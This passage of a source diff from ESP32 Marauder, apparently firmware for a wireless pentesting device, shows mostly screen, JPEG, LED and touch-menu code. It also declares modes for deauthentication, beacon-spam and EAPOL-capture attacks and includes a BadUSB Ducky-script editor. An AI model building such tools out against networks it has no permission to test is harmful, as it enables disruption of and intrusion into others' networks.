+  tft.drawCentreString(text11,120,32,2);
+}
+
+
+// Function to just draw the screen black
+void Display::clearScreen()
+{
+  //Serial.println(F("clearScreen()"));
+  tft.fillScreen(TFT_BLACK);
+  tft.setCursor(0, 0);
+}
+
+#ifdef SCREEN_BUFFER
+void Display::scrollScreenBuffer(bool down) {
+  // Scroll screen normal direction (Up)
+  if (!down) {
+    this->screen_buffer->shift();
+  }
+}
+#endif
+
+void Display::displayBuffer(bool do_clear)
+{
+  if (this->display_buffer->size() > 0)
+  {
+    delay(1);
+
+    while (display_buffer->size() > 0)
+    {
+
+      #ifndef SCREEN_BUFFER
+        xPos = 0;
+        if ((display_buffer->size() > 0) && (!loading))
+        {
+          printing = true;
+          delay(print_delay_1);
+          yDraw = scroll_line(TFT_RED);
+          tft.setCursor(xPos, yDraw);
+          tft.setTextColor(TFT_GREEN, TFT_BLACK);
+          tft.print(display_buffer->shift());
+          printing = false;
+          delay(print_delay_2);
+        }
+        if (!tteBar)
+          blank[(18+(yStart - TOP_FIXED_AREA) / TEXT_HEIGHT)%19] = xPos;
+        else
+          blank[(18+(yStart - TOP_FIXED_AREA_2) / TEXT_HEIGHT)%19] = xPos;
+      #else
+        xPos = 0;
+        if (this->screen_buffer->size() >= MAX_SCREEN_BUFFER) 
+          this->scrollScreenBuffer();
+
+        screen_buffer->add(display_buffer->shift());
+
+        for (int i = 0; i < this->screen_buffer->size(); i++) {
+          tft.setCursor(xPos, (i * 12) + (SCREEN_HEIGHT / 6));
+          for (int x = 0; x < TFT_WIDTH / CHAR_WIDTH; x++)
+            tft.print(" ");
+          tft.setCursor(xPos, (i * 12) + (SCREEN_HEIGHT / 6));
+          tft.setTextColor(TFT_GREEN, TFT_BLACK);
+          tft.print(this->screen_buffer->get(i));
+        }
+      #endif
+    }
+  }
+}
+
+void Display::showCenterText(String text, int y)
+{
+  tft.setCursor((SCREEN_WIDTH - (text.length() * 6)) / 2, y);
+  tft.println(text);
+}
+
+
+void Display::initScrollValues(bool tte)
+{
+  //Serial.println(F("initScrollValues()"));
+  yDraw = YMAX - BOT_FIXED_AREA - TEXT_HEIGHT;
+
+  xPos = 0;
+
+  if (!tte)
+  {
+    yStart = TOP_FIXED_AREA;
+
+    yArea = YMAX - TOP_FIXED_AREA - BOT_FIXED_AREA;
+  }
+  else
+  {
+    yStart = TOP_FIXED_AREA_2;
+
+    yArea = YMAX - TOP_FIXED_AREA_2 - BOT_FIXED_AREA;
+  }
+
+  for(uint8_t i = 0; i < 18; i++) blank[i] = 0;
+}
+
+
+
+// Function to execute hardware scroll for TFT screen
+int Display::scroll_line(uint32_t color) {
+  //Serial.println("scroll_line()");
+  int yTemp = yStart; // Store the old yStart, this is where we draw the next line
+  // Use the record of line lengths to optimise the rectangle size we need to erase the top line
+
+  // Check if we have the "touch to exit bar"
+  if (!tteBar)
+  {
+    tft.fillRect(0,yStart,blank[(yStart-TOP_FIXED_AREA)/TEXT_HEIGHT],TEXT_HEIGHT, color);
+  
+    // Change the top of the scroll area
+    yStart+=TEXT_HEIGHT;
+    // The value must wrap around as the screen memory is a circular buffer
+    if (yStart >= YMAX - BOT_FIXED_AREA) yStart = TOP_FIXED_AREA + (yStart - YMAX + BOT_FIXED_AREA);
+  }
+  else
+  {
+    tft.fillRect(0,yStart,blank[(yStart-TOP_FIXED_AREA_2)/TEXT_HEIGHT],TEXT_HEIGHT, color);
+  
+    // Change the top of the scroll area
+    yStart+=TEXT_HEIGHT;
+    // The value must wrap around as the screen memory is a circular buffer
+    if (yStart >= YMAX - BOT_FIXED_AREA) yStart = TOP_FIXED_AREA_2 + (yStart - YMAX + BOT_FIXED_AREA);
+  }
+  // Now we can scroll the display
+  scrollAddress(yStart);
+  return  yTemp;
+}
+
+
+// Function to setup hardware scroll for TFT screen
+void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
+  //Serial.println(F("setupScrollArea()"));
+  //Serial.println("   tfa: " + (String)tfa);
+  //Serial.println("   bfa: " + (String)bfa);
+  //Serial.println("yStart: " + (String)this->yStart);
+  #ifndef MARAUDER_MINI
+    tft.writecommand(ILI9341_VSCRDEF); // Vertical scroll definition
+    tft.writedata(tfa >> 8);           // Top Fixed Area line count
+    tft.writedata(tfa);
+    tft.writedata((YMAX-tfa-bfa)>>8);  // Vertical Scrolling Area line count
+    tft.writedata(YMAX-tfa-bfa);
+    tft.writedata(bfa >> 8);           // Bottom Fixed Area line count
+    tft.writedata(bfa);
+  #endif
+}
+
+
+void Display::scrollAddress(uint16_t vsp) {
+  #ifndef MARAUDER_MINI
+    tft.writecommand(ILI9341_VSCRSADD); // Vertical scrolling pointer
+    tft.writedata(vsp>>8);
+    tft.writedata(vsp);
+  #endif
+}
+
+
+
+
+// JPEG_functions
+void Display::drawJpeg(const char *filename, int xpos, int ypos) {
+
+  // Open the named file (the Jpeg decoder library will close it after rendering image)
+  //fs::File jpegFile = SPIFFS.open( filename, "r");    // File handle reference for SPIFFS
+
+  //jpegFile.close();
+
+  //ESP32 always seems to return 1 for jpegFile so this null trap does not work
+  //if ( !jpegFile ) {
+  //  Serial.print("ERROR: File \""); Serial.print(filename); Serial.println ("\" not found!");
+  //  return;
+  //}
+
+  // Use one of the three following methods to initialise the decoder,
+  // the filename can be a String or character array type:
+
+  //boolean decoded = JpegDec.decodeFsFile(filename);  // or pass the filename (leading / distinguishes SPIFFS files)
+  boolean decoded = JpegDec.decodeArray(MarauderTitle, 13578);
+
+  if (decoded) {
+    // print information about the image to the serial port
+    jpegInfo();
+
+    // render the image onto the screen at given coordinates
+    jpegRender(xpos, ypos);
+  }
+  //else {
+  //  Serial.println(F("Jpeg file format not supported!"));
+  //}
+}
+
+void Display::setupDraw() {
+  this->tft.drawLine(0, 0, 10, 0, TFT_MAGENTA);
+  this->tft.drawLine(0, 0, 0, 10, TFT_GREEN);
+  this->tft.drawLine(0, 0, 0, 0, TFT_CYAN);
+}
+
+uint16_t xlast;
+uint16_t ylast;
+uint32_t AH;
+void Display::drawStylus()
+{
+  uint16_t x = 0, y = 0; // To store the touch coordinates
+
+  // Pressed will be set true is there is a valid touch on the screen
+  boolean pressed = tft.getTouch(&x, &y);
+
+  if ((x <= 10) && (y <= 10) && (pressed)) {
+    //Serial.println(F("Exit draw function"));
+    this->draw_tft = false;
+    this->exit_draw = true;
+    return;
+  }
+
+  // Draw a white spot at the detected coordinates
+  if (pressed) {
+    //    tft.fillCircle(x, y, 2, TFT_WHITE);
+    if ( xlast > 0 && ylast > 0 ) {
+      uint16_t the_color = TFT_WHITE;
+      uint16_t wd = 1;
+      int xlast2;
+      int ylast2;
+      int x2;
+      int y2;
+      int n;
+      int n2 = -wd;
+      xlast2 = xlast - wd;
+      x2 = x - wd;
+      for (n = -wd; n <= wd; n++) {
+        ylast2 = ylast + n;
+        y2 = y + n;
+        tft.drawLine(xlast2, ylast2, x2, y2, the_color);
+      }
+      for (n2 = -wd; n2 <= wd; n2++) {
+        xlast2 = xlast + n2;
+        x2 = x + n2;
+        tft.drawLine(xlast2, ylast2, x2, y2, the_color);
+      }
+      for (n = wd; n >= -wd; n--) {
+        ylast2 = ylast + n;
+        y2 = y + n;
+        tft.drawLine(xlast2, ylast2, x2, y2, the_color);
+      }
+      for (n2 = wd; n2 >= -wd; n2--) {
+        xlast2 = xlast + n2;
+        x2 = x + n2;
+        tft.drawLine(xlast2, ylast2, x2, y2, the_color);
+      }
+//      tft.drawLine(xlast, ylast, x, y, TFT_WHITE);
+    }
+    xlast = x;
+    ylast = y;
+    AH = 0;
+    //Serial.print("x,y = ");
+    //Serial.print(x);
+    //Serial.print(",");
+    //Serial.println(y);
+  } else if ( AH < 5 ) {
+    AH++;
+  } else if ( AH == 5 ) {
+    xlast = 0;
+    ylast = 0;
+  }
+}
+
+//====================================================================================
+//   Decode and render the Jpeg image onto the TFT screen
+//====================================================================================
+void Display::jpegRender(int xpos, int ypos) {
+
+  // retrieve infomration about the image
+  uint16_t  *pImg;
+  int16_t mcu_w = JpegDec.MCUWidth;
+  int16_t mcu_h = JpegDec.MCUHeight;
+  int32_t max_x = JpegDec.width;
+  int32_t max_y = JpegDec.height;
+
+  // Jpeg images are draw as a set of image block (tiles) called Minimum Coding Units (MCUs)
+  // Typically these MCUs are 16x16 pixel blocks
+  // Determine the width and height of the right and bottom edge image blocks
+  int32_t min_w = minimum(mcu_w, max_x % mcu_w);
+  int32_t min_h = minimum(mcu_h, max_y % mcu_h);
+
+  // save the current image block size
+  int32_t win_w = mcu_w;
+  int32_t win_h = mcu_h;
+
+  // record the current time so we can measure how long it takes to draw an image
+  uint32_t drawTime = millis();
+
+  // save the coordinate of the right and bottom edges to assist image cropping
+  // to the screen size
+  max_x += xpos;
+  max_y += ypos;
+
+  // read each MCU block until there are no more
+  while ( JpegDec.readSwappedBytes()) { // Swapped byte order read
+
+    // save a pointer to the image block
+    pImg = JpegDec.pImage;
+
+    // calculate where the image block should be drawn on the screen
+    int mcu_x = JpegDec.MCUx * mcu_w + xpos;  // Calculate coordinates of top left corner of current MCU
+    int mcu_y = JpegDec.MCUy * mcu_h + ypos;
+
+    // check if the image block size needs to be changed for the right edge
+    if (mcu_x + mcu_w <= max_x) win_w = mcu_w;
+    else win_w = min_w;
+
+    // check if the image block size needs to be changed for the bottom edge
+    if (mcu_y + mcu_h <= max_y) win_h = mcu_h;
+    else win_h = min_h;
+
+    // copy pixels into a contiguous block
+    if (win_w != mcu_w)
+    {
+      for (int h = 1; h < win_h-1; h++)
+      {
+        memcpy(pImg + h * win_w, pImg + (h + 1) * mcu_w, win_w << 1);
+      }
+    }
+
+    // draw image MCU block only if it will fit on the screen
+    if ( mcu_x < tft.width() && mcu_y < tft.height())
+    {
+      // Now push the image block to the screen
+      tft.pushImage(mcu_x, mcu_y, win_w, win_h, pImg);
+    }
+
+    else if ( ( mcu_y + win_h) >= tft.height()) JpegDec.abort();
+
+  }
+
+  // calculate how long it took to draw the image
+  drawTime = millis() - drawTime; // Calculate the time it took
+}
+
+//====================================================================================
+//   Print information decoded from the Jpeg image
+//====================================================================================
+void Display::jpegInfo() {
+/*
+  Serial.println("===============");
+  Serial.println("JPEG image info");
+  Serial.println("===============");
+  Serial.print  ("Width      :"); Serial.println(JpegDec.width);
+  Serial.print  ("Height     :"); Serial.println(JpegDec.height);
+  Serial.print  ("Components :"); Serial.println(JpegDec.comps);
+  Serial.print  ("MCU / row  :"); Serial.println(JpegDec.MCUSPerRow);
+  Serial.print  ("MCU / col  :"); Serial.println(JpegDec.MCUSPerCol);
+  Serial.print  ("Scan type  :"); Serial.println(JpegDec.scanType);
+  Serial.print  ("MCU width  :"); Serial.println(JpegDec.MCUWidth);
+  Serial.print  ("MCU height :"); Serial.println(JpegDec.MCUHeight);
+  Serial.println("===============");
+  Serial.println("");
+  */
+}
+
+//====================================================================================
+//   Open a Jpeg file and send it to the Serial port in a C array compatible format
+//====================================================================================
+void createArray(const char *filename) {
+
+  // Open the named file
+  fs::File jpgFile = SPIFFS.open( filename, "r");    // File handle reference for SPIFFS
+  //  File jpgFile = SD.open( filename, FILE_READ);  // or, file handle reference for SD library
+
+  if ( !jpgFile ) {
+    Serial.print("ERROR: File \""); Serial.print(filename); Serial.println ("\" not found!");
+    return;
+  }
+
+  uint8_t data;
+  byte line_len = 0;
+  Serial.println("");
+  Serial.println(F("// Generated by a JPEGDecoder library example sketch:"));
+  Serial.println(F("// https://github.com/Bodmer/JPEGDecoder"));
+  Serial.println("");
+  Serial.println(F("#if defined(__AVR__)"));
+  Serial.println(F("  #include <avr/pgmspace.h>"));
+  Serial.println(F("#endif"));
+  Serial.println("");
+  Serial.print  (F("const uint8_t "));
+  while (*filename != '.') Serial.print(*filename++);
+  Serial.println(F("[] PROGMEM = {")); // PROGMEM added for AVR processors, it is ignored by Due
+
+  while ( jpgFile.available()) {
+
+    data = jpgFile.read();
+    Serial.print("0x"); if (abs(data) < 16) Serial.print("0");
+    Serial.print(data, HEX); Serial.print(",");// Add value and comma
+    line_len++;
+    if ( line_len >= 32) {
+      line_len = 0;
+      Serial.println();
+    }
+
+  }
+
+  Serial.println("};\r\n");
+  jpgFile.close();
+}
+
+// End JPEG_functions
+
+// SPIFFS_functions
+
+#ifdef ESP8266
+void Display::listFiles(void) {
+  Serial.println();
+  Serial.println(F("SPIFFS files found:"));
+
+  fs::Dir dir = SPIFFS.openDir("/"); // Root directory
+  String  line = "=====================================";
+
+  Serial.println(line);
+  Serial.println(F("  File name               Size"));
+  Serial.println(line);
+
+  while (dir.next()) {
+    String fileName = dir.fileName();
+    Serial.print(fileName);
+    int spaces = 21 - fileName.length(); // Tabulate nicely
+    while (spaces--) Serial.print(" ");
+
+    fs::File f = dir.openFile("r");
+    String fileSize = (String) f.size();
+    spaces = 10 - fileSize.length(); // Tabulate nicely
+    while (spaces--) Serial.print(" ");
+    Serial.println(fileSize + " bytes");
+  }
+
+  Serial.println(line);
+  Serial.println();
+  delay(1000);
+}
+#endif
+
+//====================================================================================
+
+#ifdef ESP32
+
+void Display::listFiles(void) {
+  listDir(SPIFFS, "/", 0);
+}
+
+void Display::listDir(fs::FS &fs, const char * dirname, uint8_t levels) {
+
+  Serial.println();
+  Serial.println(F("SPIFFS files found:"));
+
+  Serial.printf("Listing directory: %s\n", "/");
+  String  line = "=====================================";
+
+  Serial.println(line);
+  Serial.println(F("  File name               Size"));
+  Serial.println(line);
+
+  fs::File root = fs.open(dirname);
+  if (!root) {
+    Serial.println(F("Failed to open directory"));
+    return;
+  }
+  if (!root.isDirectory()) {
+    Serial.println(F("Not a directory"));
+    return;
+  }
+
+  fs::File file = root.openNextFile();
+  while (file) {
+
+    if (file.isDirectory()) {
+      Serial.print("DIR : ");
+      String fileName = file.name();
+      Serial.print(fileName);
+      if (levels) {
+        listDir(fs, file.name(), levels - 1);
+      }
+    } else {
+      String fileName = file.name();
+      Serial.print("  " + fileName);
+      int spaces = 20 - fileName.length(); // Tabulate nicely
+      while (spaces--) Serial.print(" ");
+      String fileSize = (String) file.size();
+      spaces = 10 - fileSize.length(); // Tabulate nicely
+      while (spaces--) Serial.print(" ");
+      Serial.println(fileSize + " bytes");
+    }
+
+    file = root.openNextFile();
+  }
+
+  Serial.println(line);
+  Serial.println();
+  delay(1000);
+}
+#endif
+
+
+void Display::updateBanner(String msg)
+{
+  this->img.deleteSprite();
+  
+  this->img.setColorDepth(8);
+
+  this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
+
+  this->buildBanner(msg, current_banner_pos);
+
+  this->img.pushSprite(0, STATUS_BAR_WIDTH);
+
+  current_banner_pos--;
+
+  if (current_banner_pos <= 0)
+    current_banner_pos = SCREEN_WIDTH + 2;
+}
+
+
+void Display::buildBanner(String msg, int xpos)
+{
+  int h = TEXT_HEIGHT;
+
+  // We could just use fillSprite(color) but lets be a bit more creative...
+
+  // Fill with rainbow stripes
+  //while (h--) img.drawFastHLine(0, h, SCREEN_WIDTH, 255);
+
+  // Draw some graphics, the text will apear to scroll over these
+  //img.fillRect  (SCREEN_WIDTH / 2 - 20, TEXT_HEIGHT / 2 - 10, 40, 20, TFT_YELLOW);
+  //img.fillCircle(SCREEN_WIDTH / 2, TEXT_HEIGHT / 2, 10, TFT_ORANGE);
+
+  // Now print text on top of the graphics
+  img.setTextSize(BANNER_TEXT_SIZE);           // Font size scaling is x1
+  img.setTextFont(0);           // Font 4 selected
+  img.setTextColor(TFT_WHITE);  // Black text, no background colour
+  img.setTextWrap(false);       // Turn of wrap so we can print past end of sprite
+
+  // Need to print twice so text appears to wrap around at left and right edges
+  img.setCursor(xpos, 2);  // Print text at xpos
+  img.print(msg);
+
+  img.setCursor(xpos - SCREEN_WIDTH, 2); // Print text at xpos - sprite width
+  img.print(msg);
+}
+
+void Display::main(uint8_t scan_mode)
+{  
+  if ((scan_mode == LV_JOIN_WIFI) ||
+      (scan_mode == LV_ADD_SSID))
+    lv_task_handler();
+  return;
+}
+// End SPIFFS_functions
+
+#endif

+ 165 - 0
esp32cam_marauder/Display.h

@@ -0,0 +1,165 @@
+#ifndef Display_h
+#define Display_h
+
+#include "configs.h"
+
+#ifdef HAS_SCREEN
+
+#include <FS.h>
+#include <functional>
+#include <JPEGDecoder.h>
+//#include <SimpleList.h>
+#include <LinkedList.h>
+#include <SPI.h>
+#include <lvgl.h>
+#include <Ticker.h>
+//#include <M5Stack.h>
+#include "SPIFFS.h"
+#include "Assets.h"
+
+#include <TFT_eSPI.h>
+
+// WiFi stuff
+#define OTA_UPDATE 100
+#define SHOW_INFO 101
+#define WIFI_SCAN_OFF 0
+#define WIFI_SCAN_PROBE 1
+#define WIFI_SCAN_AP 2
+#define WIFI_SCAN_PWN 3
+#define WIFI_SCAN_EAPOL 4
+#define WIFI_SCAN_DEAUTH 5
+#define WIFI_SCAN_ALL 6
+#define WIFI_PACKET_MONITOR 7
+#define WIFI_ATTACK_BEACON_SPAM 8
+#define WIFI_ATTACK_RICK_ROLL 9
+#define BT_SCAN_ALL 10
+#define BT_SCAN_SKIMMERS 11
+#define WIFI_SCAN_ESPRESSIF 12
+#define LV_JOIN_WIFI 13
+#define LV_ADD_SSID 14
+#define WIFI_ATTACK_BEACON_LIST 15
+
+/*
+PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
+PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
+
+PROGMEM static lv_disp_buf_t disp_buf;
+PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
+
+PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
+PROGMEM static void keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
+
+// lvgl stuff
+PROGMEM static lv_obj_t *kb;
+*/
+
+// #define KIT
+// #define TFT_DIY
+
+class Display
+{
+  private:
+    bool SwitchOn = false;
+    
+    bool run_setup = true;
+    
+    // For the byte we read from the serial port
+    byte data = 0;
+    
+    // A few test variables used during debugging
+    boolean change_colour = 1;
+    boolean selected = 1;
+
+    void drawFrame();
+
+    #ifdef SCREEN_BUFFER
+      void scrollScreenBuffer(bool down = false);
+    #endif
+
+    //void addNodes(Menu* menu, String name, Menu* child, std::function<void()> callable);
+    //void changeMenu(Menu* menu);
+    //void showMenuList(Menu* menu, int layer);
+    //static void lv_tick_handler();
+
+  public:
+    Display();
+    //Ticker tick;
+    TFT_eSPI tft = TFT_eSPI();
+    TFT_eSprite img = TFT_eSprite(&tft);
+    TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
+    const String PROGMEM version_number = MARAUDER_VERSION;
+
+    bool printing = false;
+    bool loading = false;
+    bool tteBar = false;
+    bool draw_tft = false;
+    bool exit_draw = false;
+
+    int TOP_FIXED_AREA_2 = 48;
+    int print_delay_1, print_delay_2 = 10;
+    int current_banner_pos = SCREEN_WIDTH;
+
+    //Menu* current_menu;
+    
+    //Menu mainMenu;
+    //Menu wifiMenu;
+    //Menu bluetoothMenu;
+
+    LinkedList<String>* display_buffer;
+
+    #ifdef SCREEN_BUFFER
+      LinkedList<String>* screen_buffer;
+    #endif
+
+    // The initial y coordinate of the top of the bottom text line
+    uint16_t yDraw = YMAX - BOT_FIXED_AREA - TEXT_HEIGHT;
+
+    // Keep track of the drawing x coordinate
+    uint16_t xPos = 0;
+
+    // The initial y coordinate of the top of the scrolling area
+    uint16_t yStart = TOP_FIXED_AREA_2;
+    // yArea must be a integral multiple of TEXT_HEIGHT
+    uint16_t yArea = YMAX - TOP_FIXED_AREA_2 - BOT_FIXED_AREA;
+
+    // We have to blank the top line each time the display is scrolled, but this takes up to 13 milliseconds
+    // for a full width line, meanwhile the serial buffer may be filling... and overflowing
+    // We can speed up scrolling of short text lines by just blanking the character we drew
+    int blank[19]; // We keep all the strings pixel lengths to optimise the speed of the top line blanking
+
+    //void initLVGL();
+    //void deinitLVGL();
+    //void joinWiFiGFX();
+    void tftDrawRedOnOffButton();
+    void tftDrawGreenOnOffButton();
+    void tftDrawGraphObjects(byte x_scale);
+    void tftDrawEapolColorKey();
+    void tftDrawColorKey();
+    void tftDrawXScaleButtons(byte x_scale);
+    void tftDrawYScaleButtons(byte y_scale);
+    void tftDrawChannelScaleButtons(int set_channel);
+    void tftDrawExitScaleButtons();
+    void buildBanner(String msg, int xpos);
+    void clearScreen();
+    void displayBuffer(bool do_clear = false);
+    void drawJpeg(const char *filename, int xpos, int ypos);
+    void setupDraw();
+    void drawStylus();
+    void getTouchWhileFunction(bool pressed);
+    void initScrollValues(bool tte = false);
+    void jpegInfo();
+    void jpegRender(int xpos, int ypos);
+    void listDir(fs::FS &fs, const char * dirname, uint8_t levels);
+    void listFiles();
+    void main(uint8_t scan_mode);
+    void RunSetup();
+    void scrollAddress(uint16_t vsp);
+    int scroll_line(uint32_t color);
+    void setupScrollArea(uint16_t tfa, uint16_t bfa);
+    void showCenterText(String text, int y);
+    void touchToExit();
+    void twoPartDisplay(String center_text);
+    void updateBanner(String msg);
+};
+#endif
+#endif

+ 86 - 0
esp32cam_marauder/LedInterface.cpp

@@ -0,0 +1,86 @@
+#include "LedInterface.h"
+
+LedInterface::LedInterface() {
+  
+}
+
+void LedInterface::RunSetup() {
+  //Serial.println("Setting neopixel to black...");
+  strip.setBrightness(0);
+  strip.begin();
+  strip.setPixelColor(0, strip.Color(0, 0, 0));
+  strip.show();
+  delay(100);
+  strip.setBrightness(50);
+  strip.setPixelColor(0, strip.Color(0, 0, 0));
+  strip.show();
+  this->initTime = millis();
+}
+
+void LedInterface::main(uint32_t currentTime) {
+  if ((!settings_obj.loadSetting<bool>("EnableLED")) ||
+      (this->current_mode == MODE_OFF)) {
+    this->ledOff();
+    return;
+  }
+
+  else if (this->current_mode == MODE_RAINBOW) {
+    this->rainbow();
+  }
+  else if (this->current_mode == MODE_ATTACK) {
+    this->attackLed();
+  }
+  else if (this->current_mode == MODE_SNIFF) {
+    this->sniffLed();
+  }
+  else {
+    this->ledOff();
+  }
+};
+
+void LedInterface::setMode(uint8_t new_mode) {
+  this->current_mode = new_mode;
+}
+
+uint8_t LedInterface::getMode() {
+  return this->current_mode;
+}
+
+void LedInterface::sniffLed() {
+  strip.setPixelColor(0, strip.Color(0, 0, 255));
+  strip.show();
+}
+
+void LedInterface::attackLed() {
+  strip.setPixelColor(0, strip.Color(255, 0, 0));
+  strip.show();
+}
+
+void LedInterface::ledOff() {
+  strip.setPixelColor(0, strip.Color(0, 0, 0));
+  strip.show();
+}
+
+void LedInterface::rainbow() {
+  strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
+  strip.show();
+    
+  this->current_fade_itter++;
+
+  this->wheel_pos = this->wheel_pos - this->wheel_speed;
+  if (this->wheel_pos < 0)
+    this->wheel_pos = 255;
+}
+
+uint32_t LedInterface::Wheel(byte WheelPos) {
+  WheelPos = 255 - WheelPos;
+  if(WheelPos < 85) {
+    return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);
+  }
+  if(WheelPos < 170) {
+    WheelPos -= 85;
+    return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);
+  }
+  WheelPos -= 170;
+  return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
+}

+ 49 - 0
esp32cam_marauder/LedInterface.h

@@ -0,0 +1,49 @@
+#ifndef LedInterface_h
+#define LedInterface_h
+
+#include "configs.h"
+#include "settings.h"
+#include <Arduino.h>
+#include <Adafruit_NeoPixel.h>
+
+#define Pixels 1
+
+#define MODE_OFF 0
+#define MODE_RAINBOW 1
+#define MODE_ATTACK 2
+#define MODE_SNIFF 3
+
+extern Settings settings_obj;
+extern Adafruit_NeoPixel strip;
+
+class LedInterface {
+
+  private:
+    uint32_t initTime = 0;
+
+    int current_fade_itter = 1;
+    int wheel_pos = 255;
+    int wheel_speed = 1; // lower = slower
+
+    uint32_t Wheel(byte WheelPos);
+
+    uint8_t current_mode = MODE_OFF;
+
+    void rainbow();
+    void ledOff();
+    void attackLed();
+    void sniffLed();
+  
+  public:
+    LedInterface();
+
+    void RunSetup();
+    void main(uint32_t currentTime);
+
+    void setMode(uint8_t);
+    uint8_t getMode();
+    
+  
+};
+
+#endif

+ 2124 - 0
esp32cam_marauder/MenuFunctions.cpp

@@ -0,0 +1,2124 @@
+#include "MenuFunctions.h"
+#include "lang_var.h"
+//#include "icons.h"
+
+#ifdef HAS_SCREEN
+
+extern const unsigned char menu_icons[][66];
+PROGMEM lv_obj_t * slider_label;
+PROGMEM lv_obj_t * ta1;
+PROGMEM lv_obj_t * ta2;
+PROGMEM lv_obj_t * save_name;
+
+MenuFunctions::MenuFunctions()
+{
+}
+
+// LVGL Stuff
+/* Interrupt driven periodic handler */
+
+#ifndef MARAUDER_MINI
+  void MenuFunctions::lv_tick_handler()
+  {
+    lv_tick_inc(LVGL_TICK_PERIOD);
+  }
+  
+  /* Display flushing */
+  void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p)
+  {
+    extern Display display_obj;
+    uint16_t c;
+  
+    display_obj.tft.startWrite();
+    display_obj.tft.setAddrWindow(area->x1, area->y1, (area->x2 - area->x1 + 1), (area->y2 - area->y1 + 1));
+    for (int y = area->y1; y <= area->y2; y++) {
+      for (int x = area->x1; x <= area->x2; x++) {
+        c = color_p->full;
+        display_obj.tft.writeColor(c, 1);
+        color_p++;
+      }
+    }
+    display_obj.tft.endWrite();
+    lv_disp_flush_ready(disp);
+  }
+  
+  
+  bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data)
+  {
+    extern Display display_obj;
+    
+    uint16_t touchX, touchY;
+  
+    bool touched = display_obj.tft.getTouch(&touchX, &touchY, 600);
+  
+    if(!touched)
+    {
+      return false;
+    }
+  
+    if(touchX>WIDTH_1 || touchY > HEIGHT_1)
+    {
+      Serial.println("Y or y outside of expected parameters..");
+      Serial.print("y:");
+      Serial.print(touchX);
+      Serial.print(" x:");
+      Serial.print(touchY);
+    }
+    else
+    {
+  
+      data->state = touched ? LV_INDEV_STATE_PR : LV_INDEV_STATE_REL; 
+  
+      //if(data->state == LV_INDEV_STATE_PR) touchpad_get_xy(&last_x, &last_y);
+     
+      data->point.x = touchX;
+      data->point.y = touchY;
+  
+      //Serial.print("Data x");
+      //Serial.println(touchX);
+      
+      //Serial.print("Data y");
+      //Serial.println(touchY);
+  
+    }
+  
+    return false;
+  }
+  
+  void MenuFunctions::initLVGL() {
+    tick.attach_ms(LVGL_TICK_PERIOD, lv_tick_handler);
+    
+    lv_init();
+  
+    lv_disp_buf_init(&disp_buf, buf, NULL, LV_HOR_RES_MAX * 10);
+  
+    lv_disp_drv_t disp_drv;
+    lv_disp_drv_init(&disp_drv);
+    disp_drv.hor_res = WIDTH_1;
+    disp_drv.ver_res = HEIGHT_1;
+    disp_drv.flush_cb = my_disp_flush;
+    disp_drv.buffer = &disp_buf;
+    lv_disp_drv_register(&disp_drv);
+  
+    lv_indev_drv_t indev_drv;
+    lv_indev_drv_init(&indev_drv);             
+    indev_drv.type = LV_INDEV_TYPE_POINTER;    
+    indev_drv.read_cb = my_touchpad_read;      
+    lv_indev_drv_register(&indev_drv);         
+  }
+  
+  
+  void MenuFunctions::deinitLVGL() {
+    Serial.println(F("Deinit LVGL"));
+    //lv_deinit();
+  }
+  
+  void MenuFunctions::writeBadUSB(){
+    // Create a keyboard and apply the styles
+    kb = lv_keyboard_create(lv_scr_act(), NULL);
+    lv_obj_set_size(kb, LV_HOR_RES, LV_VER_RES / 2);
+    lv_obj_set_event_cb(kb, write_bad_usb_keyboard_event_cb);
+  
+    // Create one text area
+    // Store all SSIDs
+    ta1 = lv_textarea_create(lv_scr_act(), NULL);
+    lv_textarea_set_cursor_hidden(ta1, false);
+    lv_textarea_set_one_line(ta1, false);
+    lv_obj_set_width(ta1, LV_HOR_RES);
+    lv_obj_set_height(ta1, (LV_VER_RES / 2) - 35);
+    lv_obj_set_pos(ta1, 5, 20);
+    lv_textarea_set_cursor_hidden(ta1, true);
+    lv_obj_align(ta1, NULL, LV_ALIGN_IN_TOP_MID, NULL, NULL);
+    lv_textarea_set_text(ta1, "");
+    lv_textarea_set_placeholder_text(ta1, "Ducky script");
+  
+    if (sd_obj.supported) {
+      // Create load button
+      lv_obj_t * label;
+      lv_obj_t * load_btn = lv_btn_create(lv_scr_act(), NULL);
+      lv_obj_set_event_cb(load_btn, load_btn_cb);
+      lv_obj_set_height(load_btn, 35);
+      lv_obj_set_width(load_btn, LV_HOR_RES / 3);
+      lv_obj_align(load_btn, ta1, LV_ALIGN_IN_TOP_RIGHT, NULL, (LV_VER_RES / 2) - 35); // align to text area
+      label = lv_label_create(load_btn, NULL);
+      lv_label_set_text(label, text05);
+    
+      // Create Save As button
+      lv_obj_t * label2;
+      lv_obj_t * save_as_btn = lv_btn_create(lv_scr_act(), NULL);
+      lv_obj_set_event_cb(save_as_btn, load_btn_cb);
+      lv_obj_set_height(save_as_btn, 35);
+      lv_obj_set_width(save_as_btn, LV_HOR_RES / 3);
+      lv_obj_align(save_as_btn, ta1, LV_ALIGN_IN_TOP_MID, NULL, (LV_VER_RES / 2) - 35); // align to text area
+      label2 = lv_label_create(save_as_btn, NULL);
+      lv_label_set_text(label2, text06);
+    }
+    
+    // Focus it on one of the text areas to start
+    lv_keyboard_set_textarea(kb, ta1);
+    lv_keyboard_set_cursor_manage(kb, true);
+  }
+  
+  // Event handler for settings drop down menus
+  void setting_dropdown_cb(lv_obj_t * obj, lv_event_t event) {
+    //lv_event_code_t code = lv_event_get_code(event);
+    //lv_obj_t * obj = lv_event_get_target(event);
+    //lv_obj_t * list1 = lv_obj_get_parent(lv_obj_get_parent(obj));
+    //if(event == LV_EVENT_CLICKED) {
